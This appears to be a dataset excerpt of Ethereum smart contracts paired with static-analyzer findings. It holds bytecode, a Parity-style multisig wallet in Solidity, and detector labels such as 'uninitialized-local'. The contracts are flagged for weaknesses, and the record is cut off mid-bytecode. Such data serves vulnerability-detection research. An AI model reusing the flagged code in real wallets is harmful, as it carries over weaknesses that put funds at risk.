815260206004820152602860248201527f646572702c20746861742067616d657320616c7265616479206265656e20726560448201527f6769737465726564000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600580546001019055610a2582611454565b60058054600160a060020a03808716600081815260046020818152604080842096909655600381528583208890558654835260028152858320805473ffffffffffffffffffffffffffffffffffffffff19169094179093559454815283812054600180835260099093527f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a36547f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a3754865160e060020a6349cc635d0281529788019490945284166024870152604486019290925260648501819052925194955016926349cc635d92608480820193929182900301818387803b158015610b2957600080fd5b505af115801561077b573d6000803e3d6000fd5b60065481565b600081815260096020526040902054600160a060020a03165b919050565b60009081526009602052604090206002015490565b60008080808033803b8015610bc3576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f0c833981519152604482015290519081900360640190fd5b600154341015610c0b576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611eec833981519152604482015290519081900360640190fd5b610c148a611454565b9650339550610c2286611c67565b600160a060020a03871660009081526007602052604090205490955093508815801590610c4f5750888714155b156109025760008981526008602090815260408083205487845260099092529091206002015490935083146109025760008481526009602052604090206002018390556109108487858a898d611ce9565b600080610cac83611454565b6000818152600860205260409020549091501515610ccd5760019150610cd2565b600091505b50919050565b3360009081526004602052604081205481908190819081901515610cfb57600080fd5b600154341015610d43576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611eec833981519152604482015290519081900360640190fd5b610d4c89611c67565b600160a060020a038a1660009081526007602052604090205490935091508615801590610d795750868814155b15610dbb57506000868152600860209081526040808320548484526009909252909120600201548114610dbb5760008281526009602052604090206002018190555b610dc9828a838b878b611ce9565b91989197509095505050505050565b60008033803b8015610e22576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f0c833981519152604482015290519081900360640190fd5b600554851115610e7c576040805160e560020a62461bcd02815260206004820152601b60248201527f746861742067616d6520646f65736e2774206578697374207965740000000000604482015290519081900360640190fd5b336000818152600760205260409020549094509250821515610ee8576040805160e560020a62461bcd02815260206004820181905260248201527f706c6179657220646f6e74206576656e206861766520616e206163636f756e74604482015290519081900360640190fd5b60008581526002602081815260408084205487855260099092528084206001810154930154815160e060020a6349cc635d02815260048101899052600160a060020a038a8116602483015260448201959095526064810191909152905192909116926349cc635d9260848084019382900301818387803b158015610f6b57600080fd5b505af1158015610f7f573d6000803e3d6000fd5b505050505050505050565b60009081526009602052604090206001015490565b600080808033803b8015610feb576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f0c833981519152604482015290519081900360640190fd5b600154341015611033576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611eec833981519152604482015290519081900360640190fd5b61103c89611454565b955033945061104a85611c67565b600160a060020a0386166000908152600760205260409020549094509250871580159061108857506000838152600960205260409020600201548814155b80156110945750828814155b156110b25760008381526009602052604090206002018890556110bf565b828814156110bf57600097505b610f7f83868a89888c611ce9565b33600090815260046020526040812054819081908190819015156110f057600080fd5b600154341015611138576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611eec833981519152604482015290519081900360640190fd5b61114189611c67565b600160a060020a03808b16600090815260076020526040902054919450909250871615801590611183575088600160a060020a031687600160a060020a031614155b15610dbb5750600160a060020a0386166000908152600760209081526040808320548484526009909252909120600201548114610dbb576000828152600960205260409020600201819055610dc9828a838b878b611ce9565b60055481565b60008033803b801561122c576040805160e560020a62461bcd0281526020600482015260116024820152600080516020611f0c833981519152604482015290519081900360640190fd5b61123585611454565b33600090815260076020908152604080832054835260099091529020600101555050505050565b336000908152600460205260408120548190819081908190151561127f57600080fd5b6001543410156112c7576040805160e560020a62461bcd02815260206004820152601c6024820152600080516020611eec833981519152604482015290519081900360640190fd5b6112d089611c67565b600160a060020a038a166000908152600760205260409020549093509150869050801580159061131157506000828152600960205260409020600201548114155b801561131d5750818114155b1561133b576000828152600960205260409020600201819055610dbb565b81811415610dbb57506000610dc9828a838b878b611ce9565b600054600160a060020a031633146113b6576040805160e560020a62461bcd02815260206004820152601760248201527f6d73672073656e646572206973206e6f74206120646576000000000000000000604482015290519081900360640190fd5b600155565b600260205260009081526040902054600160a060020a031681565b60046020526000908152604090205481565b600960205260009081526040902080546001820154600290920154600160a060020a03909116919083565b33600090815260046020526040812054151561142e57600080fd5b61143782611c67565b5050600160a060020a031660009081526007602052604090205490565b805160009082908280806020841180159061146f5750600084115b15156114eb576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156114fa57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141580156115615750846001850381518110151561153957fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b15156115dd576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156115ec57fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a02141561172f5784600181518110151561162657fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a02141515156116a3576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b8460018151811015156116b257fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a021415151561172f576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b83821015611bff5784517f40000000000000000000000000000000000000000000000000000000000000009086908490811061176c57fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156117e0575084517f5b00000000000000000000000000000000000000000000000000000000000000908690849081106117c157fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1561184d5784828151811015156117f357fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a02858381518110151561182457fe5b906020010190600160f860020a031916908160001a90535082151561184857600192505b611bf4565b848281518110151561185b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02148061192b575084517f6000000000000000000000000000000000000000000000000000000000000000908690849081106118b757fe5b90602001015160f860020a900460f860020a02600160f860020a03191611801561192b575084517f7b000000000000000000000000000000000000000000000000000000000000009086908490811061190c57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b806119d5575084517f2f000000000000000000000000000000000000000000000000000000000000009086908490811061196157fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156119d5575084517f3a00000000000000000000000000000000000000000000000000000000000000908690849081106119b657fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515611a51576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8482815181101515611a5f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415611b3e578482600101815181101515611a9b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515611b3e576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015611bea575084517f300000000000000000000000000000000000000000000000000000000000000090869084908110611b7757fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080611bea575084517f390000000000000000000000000000000000000000000000000000000000000090869084908110611bcb57fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b15611bf457600192505b600190910190611734565b600183151514611c59576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b600160a060020a0381166000908152600760205260408120541515611ce1575060068054600190810191829055600160a060020a03831660008181526007602090815260408083208690559482526009905292909220805473ffffffffffffffffffffffffffffffffffffffff1916909217909155610b5c565b506000610b5c565b60008381526008602052604081205415611d62576000848152600860205260409020548714611d62576040805160e560020a62461bcd02815260206004820152601e60248201527f736f7272792074686174206e616d657320616c72656164792074616b656e0000604482015290519081900360640190fd5b6000878152600960209081526040808320600101879055868352600890915280822089905581549051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015611dbf573d6000803e3d6000fd5b5060018215151415611e68575060015b6005548111611e685760008181526002602052604080822054815160e060020a6349cc635d028152600481018b9052600160a060020a038a8116602483015260448201899052606482018a9052925192909116926349cc635d9260848084019382900301818387803b158015611e4457600080fd5b505af1158015611e58573d6000803e3d6000fd5b505060019092019150611dcf9050565b600085815260096020908152604091829020805460019091015483518715158152928301899052600160a060020a039182168385015260608301523460808301524260a0830152915186928916918a917fde4c6761faa6394046978e8ea85d6f8f9c55f4e3570549381d9895cb6f4ac2689181900360c00190a4505050505050505600796f75206861766520746f2070617920746865206e616d652066656500000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820cb4a5a63fe8ef35e4239bab416370c50153f95c15f7a7061678ed2a4231065d10029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 876 |
0x780b6e67925e35b98b6ff8a1b2653572af73b8f9 | pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has five types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
constructor(address[] _owners, uint _required) public {
m_numOwners = _owners.length;// + 1;
//m_owners[1] = uint(msg.sender);
//m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[1 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
PendingState storage pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
emit Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
emit OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
emit OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
emit OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
emit RequirementChanged(_newRequired);
}
function isOwner(address _addr) public view returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) public view returns (bool) {
PendingState storage pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
if (pending.ownersDone & ownerIndexBit == 0) {
return false;
} else {
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
PendingState storage pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
emit Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private returns (bool) {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_pendingIndex[i] != 0) {
delete m_pending[m_pendingIndex[i]];
}
}
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// inheritable "property" contract that enables methods to be protected by placing a linear limit (specifiable)
// on a particular resource per calendar day. is multiowned to allow the limit to be altered. resource that method
// uses is specified in the modifier.
contract daylimit is multiowned {
// MODIFIERS
// simple modifier for daily limit.
modifier limitedDaily(uint _value) {
if (underLimit(_value))
_;
}
// METHODS
// constructor - stores initial daily limit and records the present day's index.
constructor(uint _limit) public {
m_dailyLimit = _limit;
m_lastDay = today();
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function setDailyLimit(uint _newLimit) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
m_dailyLimit = _newLimit;
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function resetSpentToday() onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private view returns (uint) { return block.timestamp / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address from, uint value);
// Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).
event SingleTransact(address owner, uint value, address to);
// Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).
event MultiTransact(address owner, bytes32 operation, uint value, address to);
// Confirmation still needed for a transaction.
event ConfirmationERC20Needed(bytes32 operation, address initiator, uint value, address to, ERC20Basic token);
event ConfirmationETHNeeded(bytes32 operation, address initiator, uint value, address to);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
//function execute(address _to, uint _value, bytes _data) external returns (bytes32);
//function confirm(bytes32 _h) public returns (bool);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).transact(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
uint public version = 4;
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
address token;
}
ERC20Basic public erc20;
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
constructor(address[] _owners, uint _required, uint _daylimit, address _erc20)
multiowned(_owners, _required) daylimit(_daylimit) public {
erc20 = ERC20Basic(_erc20);
}
function changeERC20(address _erc20) onlymanyowners(keccak256(abi.encodePacked(msg.data))) public {
erc20 = ERC20Basic(_erc20);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
selfdestruct(_to);
}
// gets called when no other function matches
function() public payable {
// just being sent some cash?
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transacion immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function transferETH(address _to, uint _value) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
_to.transfer(_value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (!confirmETH(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
emit ConfirmationETHNeeded(_r, msg.sender, _value, _to);
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirmETH(bytes32 _h) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
m_txs[_h].to.transfer(m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
function transferERC20(address _to, uint _value) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
erc20.transfer(_to, _value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (!confirmERC20(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].token = erc20;
emit ConfirmationERC20Needed(_r, msg.sender, _value, _to, erc20);
}
}
function confirmERC20(bytes32 _h) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
ERC20Basic token = ERC20Basic(m_txs[_h].token);
token.transfer(m_txs[_h].to, m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
} | 0x6080604052600436106101275763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663173825d9811461016d5780632f54bf6e1461018e5780634123cb6b146101c357806352375093146101ea57806354fd4d50146101ff5780635c52c2f514610214578063659010e7146102295780637065cb481461023e578063746c91711461025f578063785e9e86146102745780637b1a4909146102a55780637de1a631146102c9578063b20d30a9146102e1578063b75c7dc6146102f9578063ba51a6df14610311578063c2cf732614610329578063cbf0b0c01461034d578063d26518551461036e578063f00d4b5d1461038f578063f1736d86146103b6578063f7448a31146103cb578063fa47c564146103ef575b600034111561016b576040805133815234602082015281517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c929181900390910190a15b005b34801561017957600080fd5b5061016b600160a060020a0360043516610407565b34801561019a57600080fd5b506101af600160a060020a0360043516610554565b604080519115158252519081900360200190f35b3480156101cf57600080fd5b506101d8610575565b60408051918252519081900360200190f35b3480156101f657600080fd5b506101d861057b565b34801561020b57600080fd5b506101d8610582565b34801561022057600080fd5b5061016b610589565b34801561023557600080fd5b506101d8610625565b34801561024a57600080fd5b5061016b600160a060020a036004351661062c565b34801561026b57600080fd5b506101d861077b565b34801561028057600080fd5b50610289610781565b60408051600160a060020a039092168252519081900360200190f35b3480156102b157600080fd5b506101d8600160a060020a0360043516602435610791565b3480156102d557600080fd5b506101af600435610985565b3480156102ed57600080fd5b5061016b600435610ab1565b34801561030557600080fd5b5061016b600435610b4a565b34801561031d57600080fd5b5061016b600435610be2565b34801561033557600080fd5b506101af600435600160a060020a0360243516610cc7565b34801561035957600080fd5b5061016b600160a060020a0360043516610d2b565b34801561037a57600080fd5b5061016b600160a060020a0360043516610dc9565b34801561039b57600080fd5b5061016b600160a060020a0360043581169060243516610e8a565b3480156103c257600080fd5b506101d8610fe2565b3480156103d757600080fd5b506101d8600160a060020a0360043516602435610fe9565b3480156103fb57600080fd5b506101af600435611266565b60008036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b6020831061045f5780518252601f199092019160209182019101610440565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610495816113fd565b1561054f57600160a060020a0383166000908152610102602052604090205491508115156104c25761054f565b600180540360005411156104d55761054f565b600060028361010081106104e557fe5b0155600160a060020a03831660009081526101026020526040812055610509611549565b6105116115c8565b5060408051600160a060020a038516815290517f58619076adf5bb0943d100ef88d52d7c3fd691b19d3a9071b555b651fbf418da9181900360200190a15b505050565b600160a060020a03811660009081526101026020526040812054115b919050565b60015481565b6101075481565b6101085481565b600036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b602083106105e05780518252601f1990920191602091820191016105c1565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610616816113fd565b15610622576000610106555b50565b6101065481565b600036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b602083106106835780518252601f199092019160209182019101610664565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206106b9816113fd565b15610777576106c782610554565b156106d157610777565b6106d9611549565b60015460fa116106ed576106eb6115c8565b505b60015460fa116106fc57610777565b60018054810190819055600160a060020a03831690600290610100811061071f57fe5b0155600154600160a060020a03831660008181526101026020908152604091829020939093558051918252517f994a936646fe87ffe4f1e469d3d6aa417d6b855598397f323de5b449f765f0c3929181900390910190a15b5050565b60005481565b61010954600160a060020a031681565b600061079c33610554565b1561097f576107aa826116e4565b15610837576040805133815260208101849052600160a060020a0385168183015290517f4f6201f683343e96e9541a12726d3e99f43268c4dd78e66bed2bf05299ce5d9e9181900360600190a1604051600160a060020a0384169083156108fc029084906000818181858888f1935050505015801561082d573d6000803e3d6000fd5b506000905061097f565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b602083106108965780518252601f199092019160209182019101610877565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090506108ce81610985565b1580156108f15750600081815261010a6020526040902054600160a060020a0316155b1561097f57600081815261010a60209081526040918290208054600160a060020a03871673ffffffffffffffffffffffffffffffffffffffff1990911681178255600190910185905582518481523392810192909252818301859052606082015290517fe8822e02b75091990be9e62536ea43bfedba392d5801cecae8473f992f262dc49181900360800190a15b92915050565b600081610991816113fd565b15610aab57600083815261010a6020526040902054600160a060020a031615610aab57600083815261010a602052604080822080546001909101549151600160a060020a039091169282156108fc02929190818181858888f19350505050158015610a00573d6000803e3d6000fd5b50600083815261010a602090815260409182902060018101549054835133815292830187905282840191909152600160a060020a0316606082015290517f73586c7e29af20c2cfb512293fb21f274d22b3fa0df53f2bb28977be93d545129181900360800190a1600083815261010a60205260408120805473ffffffffffffffffffffffffffffffffffffffff19908116825560018083019390935560029091018054909116905591505b50919050565b600036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b60208310610b085780518252601f199092019160209182019101610ae9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610b3e816113fd565b15610777575061010555565b33600090815261010260205260408120549080821515610b6957610bdc565b50506000828152610103602052604081206001810154600284900a929083161115610bdc57805460019081018255810180548390039055604080513381526020810186905281517fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b929181900390910190a15b50505050565b600036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b60208310610c395780518252601f199092019160209182019101610c1a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610c6f816113fd565b1561077757600154821115610c8357610777565b6000829055610c90611549565b6040805183815290517facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da9181900360200190a15050565b600082815261010360209081526040808320600160a060020a038516845261010290925282205482811515610cff5760009350610d22565b8160020a90508083600101541660001415610d1d5760009350610d22565b600193505b50505092915050565b600036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b60208310610d825780518252601f199092019160209182019101610d63565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610db8816113fd565b156107775781600160a060020a0316ff5b600036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b60208310610e205780518252601f199092019160209182019101610e01565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610e56816113fd565b15610777576101098054600160a060020a03841673ffffffffffffffffffffffffffffffffffffffff199091161790555050565b60008036604051602001808383808284378201915050925050506040516020818303038152906040526040518082805190602001908083835b60208310610ee25780518252601f199092019160209182019101610ec3565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020610f18816113fd565b15610bdc57610f2683610554565b15610f3057610bdc565b600160a060020a038416600090815261010260205260409020549150811515610f5857610bdc565b610f60611549565b600160a060020a0383166002836101008110610f7857fe5b0155600160a060020a0380851660008181526101026020908152604080832083905593871680835291849020869055835192835282015281517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c929181900390910190a150505050565b6101055481565b6000610ff433610554565b1561097f57611002826116e4565b156110f5576040805133815260208101849052600160a060020a0385168183015290517f4f6201f683343e96e9541a12726d3e99f43268c4dd78e66bed2bf05299ce5d9e9181900360600190a161010954604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156110bf57600080fd5b505af11580156110d3573d6000803e3d6000fd5b505050506040513d60208110156110e957600080fd5b506000915061097f9050565b6000364360405160200180848480828437820191505082815260200193505050506040516020818303038152906040526040518082805190602001908083835b602083106111545780518252601f199092019160209182019101611135565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905061118c81611266565b1580156111af5750600081815261010a6020526040902054600160a060020a0316155b1561097f57600081815261010a60209081526040918290208054600160a060020a0380881673ffffffffffffffffffffffffffffffffffffffff19928316811784556001840188905561010980546002909501805490941694831694909417909255915484518681523394810194909452838501879052606084019190915216608082015290517fadd50a5aea0e28cb887644e8a41c86a278d70c9099697194c51299514f5b843c9181900360a00190a192915050565b60008082611273816113fd565b156113f657600084815261010a6020526040902054600160a060020a0316156113f657600084815261010a602090815260408083206002810154815460019092015483517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0393841660048201526024810191909152925191169550859363a9059cbb93604480850194919392918390030190829087803b15801561132057600080fd5b505af1158015611334573d6000803e3d6000fd5b505050506040513d602081101561134a57600080fd5b5050600084815261010a602090815260409182902060018101549054835133815292830188905282840191909152600160a060020a0316606082015290517f73586c7e29af20c2cfb512293fb21f274d22b3fa0df53f2bb28977be93d545129181900360800190a1600084815261010a60205260408120805473ffffffffffffffffffffffffffffffffffffffff19908116825560018083019390935560029091018054909116905592505b5050919050565b3360009081526101026020526040812054818082151561141c57611541565b6000858152610103602052604090208054909250151561147b57600080548355600180840191909155610104805491611457919083016117e1565b600283018190556101048054879290811061146e57fe5b6000918252602090912001555b8260020a9050808260010154166000141561154157604080513381526020810187905281517fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda929181900390910190a1815460011061152e5760008581526101036020526040902060020154610104805490919081106114f757fe5b6000918252602080832090910182905586825261010390526040812081815560018082018390556002909101919091559350611541565b8154600019018255600182018054821790555b505050919050565b6101045460005b818110156115c05761010a60006101048381548110151561156d57fe5b6000918252602